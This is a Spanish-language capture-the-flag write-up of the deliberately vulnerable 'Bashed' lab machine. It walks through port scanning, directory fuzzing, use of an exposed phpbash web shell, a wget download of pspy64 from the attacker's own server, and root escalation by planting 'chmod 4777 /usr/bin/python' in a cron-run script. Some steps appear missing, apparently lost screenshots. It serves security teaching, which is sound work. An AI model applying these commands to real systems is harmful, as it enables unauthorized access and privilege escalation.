En este post realizaremos el write up de la máquina Bashed. Tocaremos los conceptos de fuzzing, webshell, movimiento lateral, modificación de scripts en python, explotación de tareas cron y escalada de privilegios a través de permisos SUID.
Reconocimiento
Escaneo De Puertos
Escaneamos con nmap los puertos abiertos en la máquina Bashed:
La direccion ip es:10.10.10.68 Los puertos abiertos son:80
Los puertos han sido copiados al portapapeles
Escaneamos al objetivo con los scripts predeterminados de nmap, apuntando a los puertos abiertos en busca de más información.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
❯ cat Objetivos ───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── │ File: Objetivos ───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 1 │ nmap -sCV -p 80 -oN Objetivos10.10.10.68 2 │ Nmap scan report for10.10.10.68 3 │ Host is up (0.040s latency). 4 │ 5 │ PORTSTATESERVICEVERSION 6 │ 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 7 │ |_http-title: Arrexel's Development Site 8 │ |_http-server-header:Apache/2.4.18 (Ubuntu) 9 │ 10 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . ───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Por lo que parece la máquina objetivo solo tiene expuesto el puerto 80. Vamos a echarle un vistazo.
Reconocimiento Web
La web parece enseñar una herramienta llamada phpbash.
Si investigamos la página, deducimos que la herramienta desempeña la función de una web shell y por lo que el post nos indica la herramienta está desplegada en el servidor.
1 2 3 4
phpbash helps a lot with pentesting. I have tested it on multiple different servers and it was very useful. I actually developed it on this exact server!
https://github.com/Arrexel/phpbash
Wfuzz
Sabiendo que la web shell está desplegada, vamos a buscar mediante fuzzing posibles directorios donde pueda estar ubicada.
❯ wfuzz -c --hc 404 -u http://10.10.10.68/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.68/FUZZ Total requests: 220560 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 161 L 397 W 7743 Ch "# directory-list-2.3-medium.txt" 000000003: 200 161 L 397 W 7743 Ch "# Copyright 2007 James Fisher" 000000007: 200 161 L 397 W 7743 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/" 000000014: 200 161 L 397 W 7743 Ch "http://10.10.10.68/" 000000016: 301 9 L 28 W 311 Ch "images" 000000006: 200 161 L 397 W 7743 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this" 000000010: 200 161 L 397 W 7743 Ch "#" 000000005: 200 161 L 397 W 7743 Ch "# This work is licensed under the Creative Commons" 000000011: 200 161 L 397 W 7743 Ch "# Priority ordered case-sensitive list, where entries were found" 000000013: 200 161 L 397 W 7743 Ch "#" 000000012: 200 161 L 397 W 7743 Ch "# on at least 2 different hosts" 000000008: 200 161 L 397 W 7743 Ch "# or send a letter to Creative Commons, 171 Second Street," 000000009: 200 161 L 397 W 7743 Ch "# Suite 300, San Francisco, California, 94105, USA." 000000002: 200 161 L 397 W 7743 Ch "#" 000000004: 200 161 L 397 W 7743 Ch "#" 000000164: 301 9 L 28 W 312 Ch "uploads" 000000338: 301 9 L 28 W 308 Ch "php" 000000550: 301 9 L 28 W 308 Ch "css" 000000834: 301 9 L 28 W 308 Ch "dev" 000000953: 301 9 L 28 W 307 Ch "js" 000002771: 301 9 L 28 W 310 Ch "fonts"
Revisando entre los diferentes directorios encontramos /dev/, y nos muestra lo siguiente:
¡Bingo! Tenemos acceso a las webshells, en mi caso utilizaré phpbash.php.
Parece ser totalmente funcional.
Explotación
Reverse Shell
Vamos a enviarnos una revsehell a nuestro equipo para trabajar de manera más cómoda.
Por lo que parece, el script test.py abre el fichero test.txt con permisos de escritura w, escribe la string contenida en f.write("STRING") y cierra el archivo con f.close.
Scriptmanager no tiene esos permisos para llevar a cabo esa función ¿Cómo está ejecutándose el script para tener esos permisos?.
Modificacion Del Script
Modificamos en test.py la string que se guardará en test.txt.
Test.Py
1 2 3 4
scriptmanager@bashed:/scripts$ cat test.py f = open("test.txt", "w") f.write("void4m0n h4ck") f.close
Al pasar un tiempo determinado el archivo test.txt se ha modificado con éxito, esto huele a tarea cron. Vamos a ver que sucede por detrás con pspy para listar los procesos que se están ejecutando en la máquina.
Pspy64
Para pasarnos pspy64 a la máquina víctima y ejecutarlo seguimos los siguientes pasos.
1- Nos montamos un servidor web con python.
1 2
❯ python3 -m http.server --bind 10.10.16.5 Serving HTTP on 10.10.16.5 port 8000 (http://10.10.16.5:8000/) ...
2- Desde la máquina víctima nos descargamos el programa.
1 2 3 4 5 6 7 8 9 10
scriptmanager@bashed:/scripts$ wget http://10.10.16.5:8000/pspy64 --2022-08-19 07:44:43-- http://10.10.16.5:8000/pspy64 Connecting to 10.10.16.5:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 3078592 (2.9M) [application/octet-stream] Saving to: 'pspy64'
pspy64 100%[===================>] 2.94M 1.55MB/s in 1.9s
Como podemos observar existe una tarea cron la cual provoca que el usuario root UID=0 esté ejecutando el fichero test.py cada minuto. Al ser dueños de este script podemos modificarlo para ejecutar cualquier comando como usuario ROOT.
Give SUID Perms to python
En este momento podemos escalar privilegios de la forma que deseemos, ya sea mandándonos una reverse shell, dando privilegios suid a un binario, creando capabilities, etc.
En mi caso daré permisos SUID a python de la siguiente forma.
1 2 3
scriptmanager@bashed:/scripts$ cat test.py import os os.system("chmod 4777 /usr/bin/python")
De la máquina Bashed podemos extraer los siguientes conocimientos:
Reconocimiento de puertos con Nmap.
Fuzzing de directorios con WFUZZ.
Movimiento lateral a través de sudo -l.
Modificar código python.
Explotación de tareas cron inseguras.
Privesc mediante permisos SUID.
Errores
Un posible error que podéis sufrir es el siguiente:
Recordad que la tarea cron se ejecuta cada minuto, por lo que dependiendo de en que momento ejecutéis el comando tendréis que esperar hasta un minuto para llevar a cabo la priesc.
Créditos Y Referencias
Autor de la máquina: Arrexel, muchas gracias por la creación de Bashed aportando a la comunidad.